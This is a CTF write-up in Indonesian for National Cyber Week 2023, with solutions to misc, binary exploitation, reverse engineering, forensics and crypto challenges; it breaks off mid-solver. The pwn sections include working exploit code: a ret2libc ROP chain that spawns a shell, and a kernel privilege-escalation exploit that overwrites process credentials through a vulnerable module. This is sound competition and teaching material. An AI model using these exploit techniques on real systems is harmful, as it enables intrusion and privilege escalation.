

Writeup National Cyber Week 2023

**SHA-587**



msfir

TunangannyaChizuru

MaID

# Daftar Isi

<b>Daftar Isi</b>	<b>2</b>
Miscellaneous	3
[100 pts] Masih Kuat ges? 🦴	3
<b>Binary Exploitation</b>	<b>4</b>
[240 pts] Le Oriental	4
[400 pts] Auction	9
[460 pts] Begin Again	11
<b>Reverse Engineering</b>	<b>18</b>
[440 pts] [^V^] RustyFlag	18
<b>Forensics</b>	<b>20</b>
[220 pts] Sillyville Saga	20
<b>Crypto</b>	<b>24</b>
[220 pts] Simple	24

# Miscellaneous

[100 pts] Masih Kuat ges? 💀

Challenge

50 Solves



## Masih Kuat ges? 💀

100

Biar kuat di wave 2 ini ku kasi semangat deh hehe

NCW23{yok\_gan\_smangat\_masi\_sampe\_jam\_7\_nih\_HEH  
E}

...Kuat dongs (cry).

Flag:

NCW23{yok\_gan\_smangat\_masi\_sampe\_jam\_7\_nih\_HEHE}

# Binary Exploitation

[240 pts] Le Oriental

Challenge

13 Solves

×

## Le Oriental


### 240

Santai Dulu ga sih.

`nc 103.145.226.206 20022`

Mirror `nc 103.145.226.209 20022`

Author: Kiinzu

 oriental

Flag

Submit

Diberikan sebuah program dengan proteksi berikut:

```
[msfir] < ~/Documents/CTF/NCW-2023/PWN/oriental [SOLVED]>
> pwn checksec oriental
[*] '/home/msfir/Documents/CTF/NCW-2023/PWN/oriental [SOLVED]/oriental'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
```

Hasil analisis dengan IDA, saya menemukan beberapa vulnerability:

1. Dengan memilih *kiosk* SojuYard pada opsi menu Look Around, kita bisa mendapatkan address dari fungsi lookAround(), yang artinya kita bisa mendapatkan PIE base.
2. Dengan memilih *shop* FOMO pada opsi menu Visit Shops, terdapat buffer overflow yang dapat dieksploitasi untuk melakukan ROP.

Karena tidak kekurangan ROP gadget, saya langsung saja menggunakan teknik ret2main, yaitu kembali ke main setelah me-leak address dari salah satu fungsi yang ada di GOT untuk mendapatkan base address GLIBC.

```
0x0000000000001243 : pop rbp ; ret
0x00000000000012d1 : pop rcx ; ret
0x00000000000012e3 : pop rdi ; ret
0x00000000000012c8 : pop rdx ; ret
0x00000000000012da : pop rsi ; ret
```

Setelah base address GLIBC didapatkan, sisanya mudah saja, saya tinggal membuat ROP chain untuk memanggil system("/bin/sh").

Berikut solver yang saya gunakan.

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep

context.terminal = ["kitty", "@launch", "--location=split"]
exe = context.binary = ELF(args.EXE or './oriental')
if args.LOCAL:
    libc = ELF("/usr/lib/libc.so.6.dbg")
else:
    libc =
ELF(libcdb.search_by_build_id("e609d467714df9ec4cf9049b02e9787ca58a6533"))

host = args.HOST or '103.145.226.206'
port = int(args.PORT or 20022)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
```

```

    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

# -- Exploit goes here --

io = start()

io.sendline(b"2")
io.sendline(b"y")
io.sendline(b"3")

io.recvuntil(b"some ")
exe.address = int(io.recvline(), 16) - exe.sym["lookAround"]
log.info(f"exe @ 0x{exe.address:x}")
assert exe.address & 0xfff == 0

offset = 328
pop_rdi = exe.address + 0x12e3
ret = exe.address + 0x1016

payload = flat({
    offset: [
        pop_rdi,
        exe.got["setvbuf"],
        ret,
        exe.plt["printf"],
        ret,
        exe.sym["main"]
    ]
})

io.sendline(b"1")

```

```

io.sendline(b"FOMO")
io.sendline(payload)

io.recvuntil(b"iyakah?? ")
libc.address = u64(io.recv(6) + b"\0\0") - libc.sym["setvbuf"]
log.info(f"libc @ 0x{libc.address:x}")
assert libc.address & 0xfff == 0

payload = flat({
    offset: [
        pop_rdi,
        next(libc.search(b"/bin/sh")),
        ret,
        libc.sym["system"]
    ]
})

io.sendline(b"1")
io.sendline(b"FOMO")
io.sendline(payload)

io.interactive()

```

```

[msfir] < ~/D/C/N/P/oriental [SOLVED]>
> ./x.py
[*] '/home/msfir/Documents/CTF/NCW-2023/PWN/oriental [SOLVED]/oriental'
  Arch:      amd64-64-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:        NX enabled
  PIE:       PIE enabled
[*] Using cached data from '/home/msfir/.cache/.pwntools-cache-3.11/libcdbg/build_id/e609d46771458a6533'
[*] '/home/msfir/.cache/.pwntools-cache-3.11/libcdbg/build_id/e609d467714df9ec4cf9049b02e9787ca5'
  Arch:      amd64-64-little
  RELRO:     Partial RELRO
  Stack:     Canary found
  NX:        NX enabled
  PIE:       PIE enabled
[+] Opening connection to 103.145.226.206 on port 20022: Done
[*] exe @ 0x55c7728c9000
[*] libc @ 0x7fccdfad0000
[*] Switching to interactive mode
Welcome to Le's Orientales
1. Visit Shops
2. Look Around
3. Leave
>> Luiputo Gyukaku Kintan
    Hokkien turulah FOMO
    Guussi Diore Sannel
Which shop you want to visit?
>> Takut FOMO ih, aduh Takut akutuh FOMO
iyakah?? $ ls
flag_number_one.txt
flag_part_two.txt
oriental
run
$ cat flag*
NCW2023{1_th0ugh7_4_s1mpl3_R0P_w0uID_b3_3n0ugh_bu7_4dd1n9_S3CC0MP_15_FuN_h3h3h3}$

```

(Gak seccomp kok :v)

Flag:

NCW2023{1\_th0ugh7\_4\_s1mpl3\_R0P\_w0uID\_b3\_3n0ugh\_bu7\_4dd1n9\_S3CC0MP\_15\_FuN\_h3h3h3}



## [400 pts] Auction

Challenge

6 Solves

×


# Auction

## 400

Goind Up, Going Under, Going Up, Going Under, SOLD

**Author: Kiinzu**

nc 103.145.226.206 20027

 forPlayer.zip

Flag

Submit

Diberikan sebuah zip file yang berisi 2 file, yaitu 101.txt dan mimic.sol.

```
File: 101.txt
1
2 This Auction will start in a few minutes
3 Please win the auction, base on my spy, there will be 6 people to stand in your way...
4
5 Like usual, here are the functions you'll interact with:
6 participate()
7 Before participate in the auction, you'll need to call this function
8 after that, you can start calling other functions. (call with priv-key)
9
10 auction(a,b,c,d,e,f)
11 If you managed to get all the a,b,c,d,e,f to a certain value, you'll be
12 able to get the prize, which is the flag, here are the questions:
13 → 255 + a = 72, what is the value of a (uint8)?
14 → 22431 - b = 44321, what is the value of b (uint16)
15 → 2327812982 + c = 1864263329, what is the value of c (uint32)
16 → 1732347198809111223 + d = 167143968757004464, what is the value of d (uint64)
17 → 121141183468466431731687383715884105727 - e = 277713031194324463229999802010543211234, what is the value of e (uint128)
18 → 17197982193319168238092099281356177762369842564210020203928323145581922385333 + f = 7198460325987614209378165409283471692857430192468753106928475130246, what is the value of f (uint256)

File: mimic.sol
1 // SPDX-License-Identifier: MIT
2 pragma solidity ^0.5.1;
3
4 contract Auction{
5     /**
6      * Here is how to set this thing quickly, you can run it anywhere you want.
7      * If you want to test for different types of integer, just change both the
8      * input (uint8 input) to something else like uint16 input for example, and the output
9      * the returns(uint8) to the output the datatype of your input, for example
10     */
11     berhitung(uint16 input) public view returns(uint16) for unsigned integer 16
12
13     This contract IS NOT THE SAME with the original deployed contract, but since
14     I figured out this could be useful for the participant, thus I give you a hand here.
15
16     /**
17     */
18     function berhitung(uint8 input) public pure returns(uint8){
19         return 255 + input;
20     }
21
22 }
```

File 101.txt berisi instruksi untuk menyelesaikan challenge ini, sedangkan mimic.sol... yah tidak terlalu membantu :D.

Setelah connect ke server dengan nc, kita diberikan contract address dan URL RPC yang diperlukan untuk berkomunikasi dengan ... (apa ya hehe).

```
[msfir] [~ / D / C / N / P / Auction [SOLVED]]
> nc 103.145.226.206 20027
Welcome to NCW 2023 Flag Auction

1. How to participate?
2. get Contract
>> 2
Contract Address: 0x96CB85ffe96bb78c6BFdaaE45645450A140E47b2
RPC URL          : https://eth-sepolia.g.alchemy.com/v2/SMfUKiFXRNaiSjRSccFuYCq8Q3QJgks8
To Start         : call the participate() function, start the auction bid!

Note: Due it's deployed on Sepolia network, please use your own Private key to do the transaction
      If you need funds, you can either DM the probset or get it on https://sepoliafaucet.com/
```

Langsung saja kita gunakan program cast dari [foundry](#) untuk menyelesaikan challenge ini. (Sebenarnya cukup banyak step yang dilakukan sebelumnya, banyak tanya ke probset juga, wajar masih pemula :D).

Pertama call fungsi participate().



## [460 pts] Begin Again

Challenge

3 Solves

×

# Begin Again

## 460

pwn

punya kwasong ga?

connection: `nc 103.152.118.120 1337`

file: [begin\\_again\\_parti.zip](#)

author: 0xdc9

Flag

Submit

Diberikan zip file yang berisi 3 file: bzImage, initramfs.cpio.gz, dan launch.sh (yap ini chall kernel :D).

Pertama decompress file cpio dengan script berikut (dulu dapet dari internet tapi lupa sumbernya)

```
#!/bin/bash

# Decompress a .cpio.gz packed file system
rm -rf ./initramfs && mkdir initramfs
pushd . && pushd initramfs
cp ../initramfs.cpio.gz .
gzip -dc initramfs.cpio.gz | cpio -idm &>/dev/null && rm initramfs.cpio.gz
popd
```

Lalu extract bzImage menjadi vmlinux (berguna buat debugging sama nyari offset) dengan script berikut (kalo ga salah ini ada di repo linux kernel)

```
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# -----
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011      Corentin Chary <corentin.chary@gmail.com>
#
# -----

check_vmlinux() {
    # Use readelf to check if it's a valid ELF
    # TODO: find a better way to check that it's really vmlinux
    #       and not just an elf
    readelf -h $1 >/dev/null 2>&1 || return 1

    cat $1
    exit 0
}

try_decompress() {
    # The obscure use of the "tr" filter is to work around older versions of
    # "grep" that report the byte offset of the line instead of the pattern.

    # Try to find the header ($1) and decompress from here
    for pos in $(tr "$1\n$2" "\n$2=" <"$img" | grep -abo "^$2"); do
        pos=${pos%:*}
        tail -c+$pos "$img" | $3 >$tmp 2>/dev/null
        check_vmlinux $tmp
    done
}

# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]; then
    echo "Usage: $me <kernel-image>" >&2
    exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
```

```

try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

```

Hasil decompress dari cpio akan menghasilkan folder bernama initramfs yang isinya file system dari linux, dan terdapat juga vulnerable module yang harus kita eksploitasi, yaitu insanity.ko. Kita bisa melihat apa yang dilakukan module tersebut melalui IDA (atau Ghidra). Sebagai permulaan, module tersebut membuat sebuah proc yang bernama “admin” di /proc/admin.

Terdapat 3 hal penting untuk menyelesaikan challenge ini:

1. Jika kita melakukan read terhadap /proc/admin, kita akan diberikan address dari current\_task.
2. Jika kita melakukan ioctl dengan request number 4097 kita bisa mengisi nilai untuk variabel blank dengan parameter ioctl. Kegunaan variabel blank tersebut adalah dia akan dicasting menjadi sebuah fungsi dan dipanggil jika kita melakukan ioctl dengan request number 4098.
3. Terakhir, jika kita lihat launch.sh, kernel ini tidak diberikan proteksi SMAP dan SMEP, artinya kernel dapat mengeksekusi kode di user space yang bisa kita manfaatkan untuk melakukan privilege escalation.

Bagaimana kita (atau mungkin cuma saya) melakukan privilege escalation? Kita manfaatkan apa yang diberikan kepada kita, yaitu address dari current\_task yang memiliki tipe data struct task\_struct. Jika kita melihat source code dari linux kernel, khususnya bagian [ini](#), task\_struct menyimpan struct cred yang merupakan informasi credential dari proses yang sedang berjalan, artinya jika kita tahu offset struct cred tersebut dari address current\_task, maka kita bisa mengubahnya menjadi credential root. Ini setara dengan kita memanggil fungsi **commit\_creds(prepare\_kernel\_cred(0))**.

Setelah menghabiskan waktu lama mencari offset struct cred dengan gdb, akhirnya saya mendapatkan apa yang saya butuhkan dan inilah solver yang saya buat.

```

#include <fcntl.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define VULN_DRV "/proc/admin"
#define OFFSET 199

int64_t global_fd;
size_t current_task_addr;

void __attribute__((constructor)) open_dev() {
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        puts("[-] failed to open " VULN_DRV);
        exit(-1);
    } else {
        puts("[+] succesfully opened " VULN_DRV);
    }
}

void attack() {
    void *cred = (void *)((size_t *)current_task_addr)[OFFSET];
    memset(cred, 0, 100);
}

int main(int argc, char **argv) {
    char buffer[0x1000];
    read(global_fd, buffer, 0x1000);
    current_task_addr = *(long *)buffer;
    printf("[!] current_task address: %lx\n", current_task_addr);
    ioctl(global_fd, 4097, attack);
    ioctl(global_fd, 4098, buffer);
    printf("[!] Current uid: %d\n", getuid());
    system("sh");

    return 0;
}

void __attribute__((destructor)) close_dev() {
    if (global_fd > 0) {
        close(global_fd);
    }
}

```

```

    puts("[+] " VULN_DRV " closed");
}
}

```

Dengan bantuan 2 script ini, challenge pun terselesaikan.

	File: compress-cpio
1	#!/bin/bash
2	
3	# Compress initramfs with the included statically linked exploit
4	in=\$1
5	out=\$(echo \$in   awk '{ print substr( \$0, 1, length(\$0)-2 ) }')
6	musl-gcc \$in -static -o \$out    exit 255
7	mv \$out initramfs
8	pushd . && pushd initramfs
9	find . -print0   cpio --null --format=newc -o 2>/dev/null   gzip -9 >../initramfs.cpio.gz
10	popd
	File: solve.py
1	#!/usr/bin/env python3
2	
3	from pwn import *
4	import base64
5	
6	x = open("./x.bz2", "rb").read()
7	io = remote("103.152.118.120", 1337)
8	
9	# context.log_level = "debug"
10	
11	for i in range(0, len(x), 32):
12	chunk = x[i:i+32]
13	data = base64.b64encode(chunk)
14	io.sendlineafter(b"/ \$ ", b"echo -ne \"%s\" >> /home/ctf/x.bz2.b64" % data)
15	
16	io.sendlineafter(b"/ \$ ", b"base64 -d /home/ctf/x.bz2.b64 > /home/ctf/x.bz2")
17	io.sendlineafter(b"/ \$ ", b"bunzip2 /home/ctf/x.bz2")
18	io.sendlineafter(b"/ \$ ", b"chmod +x /home/ctf/x")
19	io.sendlineafter(b"/ \$ ", b"/home/ctf/x")
20	io.sendlineafter(b"# ", b"cat /flag")
21	
22	io.interactive()



```
[msfir] < ~/D/C/N/P/parti [SOLVED] > 0≡1
> ./compress-cpio x.c
~/Documents/CTF/NCW-2023/PWN/parti [SOLVED] ~/Documents/CTF/NCW-2023/PWN/parti [SOLVED]
~/Documents/CTF/NCW-2023/PWN/parti [SOLVED]/initramfs ~/Documents/CTF/NCW-2023/PWN/parti [SOLVED] ~/Documents/CTF/NCW-2023/PWN/parti [SOLVED]
~/Documents/CTF/NCW-2023/PWN/parti [SOLVED] ~/Documents/CTF/NCW-2023/PWN/parti [SOLVED]
[msfir] < ~/D/C/N/P/parti [SOLVED] > 0≡1
> ./solve.py
[+] Opening connection to 103.152.118.120 on port 1337: Done
[+] Opening connection to 103.152.118.120 on port 1337: Done
[*] Switching to interactive mode
cat /flag

NCW23{oke_ini_lumayan_nguli_yah}
/ # $
```

(Riil nguli :D)

**Flag: NCW23{oke\_ini\_lumayan\_nguli\_yah}**

# Reverse Engineering

[440 pts] [^V^] RustyFlag

Challenge

3 Solves

×

[^V^] RustyFlag

440

easy

Flag checker is a must in reverse engineering 🤖

Author: Plasma

↓ RustyFlag....

Diberikan sebuah Windows binary yang sepertinya merupakan dicompile dari bahasa Rust (cape deh). Program tersebut merupakan sebuah flag checker. Static analysis bikin sakit kepala, jadi saya langsung debug saja programnya.

Intinya, program ini akan mengenkripsi (atau mungkin sebutannya transformasi) inputan kita. Enkripsi dilakukan oleh fungsi pada address 0x140009E90 lalu hasil enkripsi akan dibandingkan dengan string berikut yang kemungkinan hasil enkripsi dari flag.

```
db 'bKXMIDlg1SbdmccuqXPg9Co8N12ckzXiIQdEyOLK3tZfr6VaeKAGe7BsPNbQr3FcF'  
; DATA XREF: .rdata:off_14002AE30 ↓  
db 'AGe7B772a1sPNbQiPgPPRd2bxn6oWc9Co8NAGe7BzRF0NEyOLKkFL43AGe7Br3FcF'  
db 'q8g8WW1iNj9Co8NkFL43sPNbQiPgPPra1T73tZfrAGe7B3a1HgZxxleXiIQdohASn'  
db 'AGe7B6VaeKq8g8WAGe7BvQcJp9Co8NZxxlen0iFtAGe7BzRF0NEiL42uqXPgkFL43'  
db 'ZxxleEiL42atosrpIlQgh0Fc1q8g8WzRF0Nq8g8WkFL43pIlQgsPNbQsPNbQatosr'  
db 'gdtgFE2ThyEiL42xTggMsPNbQ3tZfrohASnEiL42gdtgFzRF0NatosrEiL42q8g8W'  
db 'xTggMuqXPgZ1MvB',0
```

Saat saya mencoba menginput "NCW", enkripsi yang dihasilkan adalah "bKXMIIdIglSbdmcc", tepat 15 karakter pertama yang ada pada string di atas. Jadi, saya curiga kalau hasil enkripsinya deterministik. Karena deterministik, saya coba saja menginput semua karakter yang mungkin terdapat pada flag, yaitu "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!{}\_". Dan hasilnya saya gunakan untuk membuat sebuah mapping table encrypted -> decrypted. Sisanya tinggal mendecrypt flag dengan table tersebut.

Berikut solver yang saya gunakan.

```
#!/usr/bin/env python3

import string

enc_set =
"q8g8WsPNbQuqXPg9Co8NZxxle3tZfrgdtgFkFL43xTggMEiL42E2ThyzRF0Nh0Fc1ohASnpIlQgatosrPn
GaB3a1Hgutk4Mx71UvnXufMn6oWciPgPPZQ2WmYNVF1Rd2bxwMLZ3vQcJpr3FcFLC1pDbwhyW014NEoHZ4y
GwoMCNs23YciHzJ4zvm0c041kDlglSn0iFtra1T7R7GDzXZC8o1dcMfK9Eh09G14vDmrF7bdE7kW1iNjbKX
MIbiULonBy6dZz4eDXiIQd772a16VaeKEyOLKPiJbZbmdccNrHmI8UMzF3HZhEcMucr12ckzZ1MvBAGe7B"
CHARSET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!{}_"

enc_table = {}

enc_flag =
"bKXMIIdIglSbdmccuqXPg9Co8N12ckzXiIQdEyOLK3tZfr6VaeKAGe7BsPNbQr3FcFAGe7B772a1sPNbQiP
gPPRd2bxn6oWc9Co8NAGe7BzRF0NEyOLKkFL43AGe7Br3FcFq8g8WW1iNj9Co8NkFL43sPNbQiPgPPra1T7
3tZfrAGe7B3a1HgZxxleXiIQdohASnAGe7B6VaeKq8g8WAGe7BvQcJp9Co8NZxxlen0iFtAGe7BzRF0NEiL
42uqXPgkFL43ZxxleEiL42atosrpIlQgh0Fc1q8g8WzRF0Nq8g8WkFL43pIlQgsPNbQsPNbQatosrgdtgFE
2ThyEiL42xTggMsPNbQ3tZfroHASnEiL42gdtgFzRF0NatosrEiL42q8g8WxTggMuqXPgZ1MvB"

for i in range(0, len(enc_set), 5):
    c = CHARSET[i//5]
    enc_table[enc_set[i:i+5]] = c

for i in range(0, len(enc_flag), 5):
    print(enc_table[enc_flag[i:i+5]], end="")
```

```
[msfir] < ~/D/C/N/R/RustyFlag [SOLVED] > 9=1
> ./solve.py
NCW23{RU5T_1s_S1mpl3_bU7_s0M371mE5_h4Rd_T0_r34D_b92749fec0b07e11f6a9815d96bf9082}
```

Flag:

NCW23{RU5T\_1s\_S1mpl3\_bU7\_s0M371mE5\_h4Rd\_T0\_r34D\_b92749fec0b07e11f6a9815d96bf9082}

# Forensics

[220 pts] Sillyville Saga

## Sillyville Saga

220

Chopi is a famous short story writer in Teruland. One day, Chopi wanted to innovate by writing a short story but printed using a custom font that he created himself. However, his font accidentally got scrambled with another language's font...

Wrap the flag with NCW23{.\*}

Author: cipichop



Chall SillyvilleSaga memberikan sebuah file 'SillyvilleSaga.xps'. File xps adalah *XML Paper Specification*. Setelah menyadari hal tersebut kami mencoba melihat isinya dengan [XPS Viewer](#). File tersebut bersisi berikut:

Dほじめ目SSHア目SSじめX我X：YDJJCX我じP・FへXあへH  
YねアJCG田Pじレ

Q.Cあじ田OMC X G目Uじ目C Gほじそ田目PへH GMセC Mち  
め目SSHア目SSじ、GほじPじS目アじねX GじJCX我じP CXUじね D目UUH  
D目URじセじじね、D目UUH・F ねX目SH S目ちじセXF XCHGほ目C我R田G  
MPね目CXPH、アアじPH UMP C目C我、ほじセM田SねセXへじ田O GM Gほじ  
R SX P目C我 FM田CねMちXへXかMM目CFGじXねMちXC XSXP U  
あSMあへ、テ目F U MU、セほMセXF X OPMちJFF目MCXS  
へXかMM目FG、RじS目じアじね目CFGXP G目C我GほじねXHセ目GほX  
U田F目あXS R田가가、レ

D目UUH・F R PじXへちXFG あほM目あじFセじPじじそ田XSSH  
田C田F田XS、のCFGじXねMちあじPじXS MP GMXFG、ほじセM田Sね  
じCはMH X R MセS MちあP田CあほHあP目あへじGF、セほ目あほセじPじほ目F  
ねXね・F FじあPじG Pじあ目Oじ、D目UUH ほXね我PMセC GM SMアじGほじ  
じ5GPX OPM Gじ目C、XCねほじMちGじCはMへじねGほXG 目G UXねじ  
ほ目U・ほMO・GMFあほMMS、レ

めOじXへ目C我MちFあほMMS、D目UUH XGGじCねじねめ目SSHア目SSじ  
テ目我ほ、セほじPじGほじGじXあほじPFセじPじへCMセCちMP Gほじ目P  
セXあへH GじXあほ目C我UじGほMねF、のC UXGほあS XFF、GほじH  
田FじねP田RじP あほ目あへじCF XF OM目CGじPF、XCね目C  
ほ目FGMPHあS XFF、GほじH PじJCXあGじねXCあ目じCG R X GGSじF  
セ目GほセXGじP R X S SMMC ち目我ほGF、D目UUH・F ちXAMP目Gじ  
F田RはじあGセXF・んSMセC目C我YP M田CねきBき、・セほじPじほじ  
SじXP CじねGMは田我我Sじ、セXSへMC FG目SGF、XCねUXへじ  
R X S SMMC XC目UXSF、レ

コ田P目C我S田CあほR PじXへF、D目UUH XCねほ目F ちP目じCねF  
OSXHじねX Oじあ田S目XP 我XUじあXSSじね・めそ田目ねR XSS、・のG  
セXF S目へじFMああじP R田G OSXHじねセ目GほFS目OOじPH Fそ田目ねF  
目CFGじXねMちX R XSS、DほじSMあXS FじXちMMねFほMOセXF Gほじ  
Mちち目あ目XS FOMCFMP、OPMA目ね目C我Fそ田目ねF MちアXP目M田F  
F目がじF、レ

YちGJP FあほMMS , D目UUH ほXねX OXPGE G目UJはMR XG GほJ  
め目SSHア目SSJニX我めほMO , セほJPJ ほJセXF 目CあほXP我JMち  
目CAJCG 目C我 CJセ , P目ね目あ田SM田F OPXCへF , テ目F SXGJFG  
あPJXG 目MCセXF XセほMMOJJあ田Fほ目MC GほXG OSXHJJねGほJ  
CXG 目MCXS XCGほJUセほJC FXG MC , レ

D目UUH ' F JAJC 目C我F セJPJ ち目SSJねセ目GほセXあへH  
XねAJCG 田PJF , テJXCねほ目F ちP目JCねF セM田SねJU RXPへMC  
R目かXPPJ ち田JFGF , S目へJ FJXPあほ目C我 ちMP GほJ  
SJ我JCねXPH RXCXCX GほXGセXF P田UMPJJねGM我PXCG  
セ目FほJF , DほJHセM田SねちMSSMセXGPJXF 田PJUXO , セほ目あほ

セXF XあG 田XSSH X我目XCG RXCXCX OJJ Sセ目GほあPHOG 目あ  
目CFG P田あG 目MCF , レ

YFC 目我ほG ちJSS 目Cめ目SSHア目SSJ , D目UUHセM田SねPJG 田PC  
ほMUJ , G目PJねR 田GFU 目S目C我 , テJへCJセGほXG ほ目FねX目SH  
S目ちJセXFセJ目Pね , セ目Sね , XCねセMCねJPち田SSH XRF 田Pね ,  
R 田GほJセM田SねC ' GほXAJ 目G XCHMGほJPセXH , YちGJP XSS ,  
目CXGMセCS 目へJめ目SSHア目SSJ , JAJPH ねXHセXF XあほXCあJ  
GMJU RPXあJGほJF 目SS 目CJFF MちS 目ちJXCねS 目AJ 目GGM  
GほJ ち田SSJFG , レ

め>マヤKあW^ / Gね ; ケそN井ヌJレ [ I FX5 ] ほ , ヴリかるウ&コリきQ,ア#よ ( D  
`Pと田 ] SんちYセBゆOえAへ2CハLけ+ \* Hス?我Z\$へ ) 目は : テのM\\I< (   
TRVノニチEレ

Lんへ? テQ,へ?レ

I have no idea why it was scrambled with Japanese font. How to type A to Z consecutively with this font?

Kami mencoba mengambil text printable dari situ, hasilnya berbeda dengan yang terlihat. Setelah itu, kami mencoba mendapat pencerahan (dari author). Dari 2 hal tersebut, kami menyadari cukup mencari dan menyalin karakter yang mirip A..Z dari “Japanese font” itu. Hasilnya adalah *F0nT-styLe\_No=prObI3m~YaA!*.

**Flag : NCW23{F0nT-styLe\_No=prObI3m~YaA!}**

# Crypto

[220 pts] Simple

Challenge

12 Solves



## Simple 220

AES

Cuma maen AES doang. Simple Kan?

nc 103.145.226.206 1945

Mirror: nc 103.145.226.209 1945

Author: Lawson Schwantz

 simple.py

Flag

Submit



Diberikan sebuah attachment file dengan source code

```
from Crypto.Cipher import AES
from Crypto.Util.Padding import *
import string
import random
import os
from Crypto.Util.number import *
# from secrets import FLAG, enc

def generate_random_string(length):
    characters = string.ascii_letters + string.digits + string.punctuation
    return ''.join(random.choice(characters) for _ in range(length))

def encrypt(msg, key, iv):
    #####
    #                                                                 #
    #          Haduh kena prank opo iki rek jadi ilang              #
    #          Seinget gw ini AES jg deh cm entah apa ini           #
    #          Gudlak All!! :)                                       #
    #                                                                 #
    #####
    return enc.hex()

key = os.urandom(16)
iv1 = os.urandom(16)
iv2 = os.urandom(16)
plainkey = os.urandom(16)

enckey = encrypt(plainkey + os.urandom(16), key, iv1)

code = ("Very simple, " +
generate_random_string(random.randint(50,60))).encode()
```

```

cipher = AES.new(plainkey + (os.urandom(2)*8),AES.MODE_CBC, iv2)

encode = cipher.encrypt(pad(code,16))

print((os.urandom(2)*8))

print(f'enckey = {enckey}')
print(f'encode = {encode}')
print(f'iv2 = {iv2}')

print(string.punctuation)
print(code)

while True:
    print("""      =====
    1. Tes Enkripsi
    2. Tebak kode
    3. Exit
    ===== """)

    choose = input(">> ")
    if choose == "1":
        plaintext = input("Masukan pesan: ")
        try:
            plaintext = bytes.fromhex(plaintext)
            ciphertext = encrypt(plaintext, key, iv1)
            print(f'Ciphertext = {ciphertext}')
        except:
            print("woila...")

    elif choose == "2":
        cobaan = input("Masukkan kode: ").encode()
        if cobaan == code:
            print(f'dahlah, {FLAG}')
            exit(1)
        else:
            print("salah :(")
            exit(0)

```

```

elif choose == "3":
    print("Bye!")
    exit(1)

else:
    print("woi!")
    exit(0)

```

Inti dari chall ini sebenarnya terletak pada fungsi encrypt, di mana penulis diminta untuk menganalisis fungsi tersebut bermodalkan tes enkripsi pada soal. Setelah ngestuck dan kena mental di chall ini karena penulis mengira bahwa untuk mendekripsi 2 byte pertama dari plainkey bisa dilakukan dengan mengirimkan hasil ciphertext 2 byte itu sebanyak 4 kali dan akan exponential sebanyak  $2^n$  di mana  $n$  merupakan nilai dari byte yang akan diambil. Akhirnya penulis mencoba kembali menganalisis dan menemukan bahwa byte pertama dari enkripsi kemungkinan hanya merupakan hasil xor dengan sebuah byte (sebut saja  $x$ ). Sehingga tinggal masukkan byte 00 untuk mengetahui nilai  $x$ . Penulis menyadari bahwa pada enkripsi ini, byte byte hasil enkripsi saling berkaitan sehingga jika satu byte saja diubah, akan mempengaruhi hasil enkripsi. Penulis menemukan hal menarik berikut:

```

Masukan pesan: 0000
Ciphertext = 0f1b
=====
1. Tes Enkripsi
2. Tebak kode
3. Exit
=====
>> 1
Masukan pesan: 001b
Ciphertext = 0f00
=====
1. Tes Enkripsi
2. Tebak kode
3. Exit
=====

```

Ketika dimasukkan nilai dari ciphertext byte selanjutnya setelah plaintext, maka byte tersebut akan terdekripsi. Memanfaatkan fakta ini penulis bisa langsung mendapatkan key nya dan melakukan dekripsi pada kode. Kode sendiri dienkrpsi dengan byte tambahan, namun hanya 2 byte sequence yang bisa dibrute. Berikut solver yang penulis gunakan :

```

import string
from pwn import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import *
import string
import random
import os
from Crypto.Util.number import *

r = remote('103.145.226.206', 1945)

flag = False
context.log_level = 'DEBUG'
r.recvuntil(b'enckey = ')
enckey = r.recvline().strip()
r.recvuntil(b'enccode = ')
enccode = eval(r.recvline())
r.recvuntil(b'iv2 = ')
iv2 = eval(r.recvline())
print(iv2)
r.recvuntil(b'>> ')
r.sendline(b'1')
r.recvuntil(b'Masukan pesan: ')
r.sendline(b'00')
r.recvuntil(b'Ciphertext = ')
first_byte = r.recvline().strip()
print(enckey)
print(enccode)
print(iv2)

key = (bytes.hex(xor(bytes.fromhex(first_byte.decode()),
bytes.fromhex(enckey[:2].decode())))).encode()

for i in range(1, 16):
    temp = key + enckey[i*2:i*2+2]
    r.recvuntil(b'>> ')

```

```

r.sendline(b'1')
r.recvuntil(b'Masukan pesan: ')
r.sendline(temp)
r.recvuntil(b'Ciphertext = ')
enc = r.recvline().strip()[i*2:i*2+2]
key += enc

# r.interactive()
key = bytes.fromhex(key.decode())
print(len(enccode))
while(not flag):
    try:
        cipher = AES.new(key + (os.urandom(2)*8), AES.MODE_CBC, iv2)
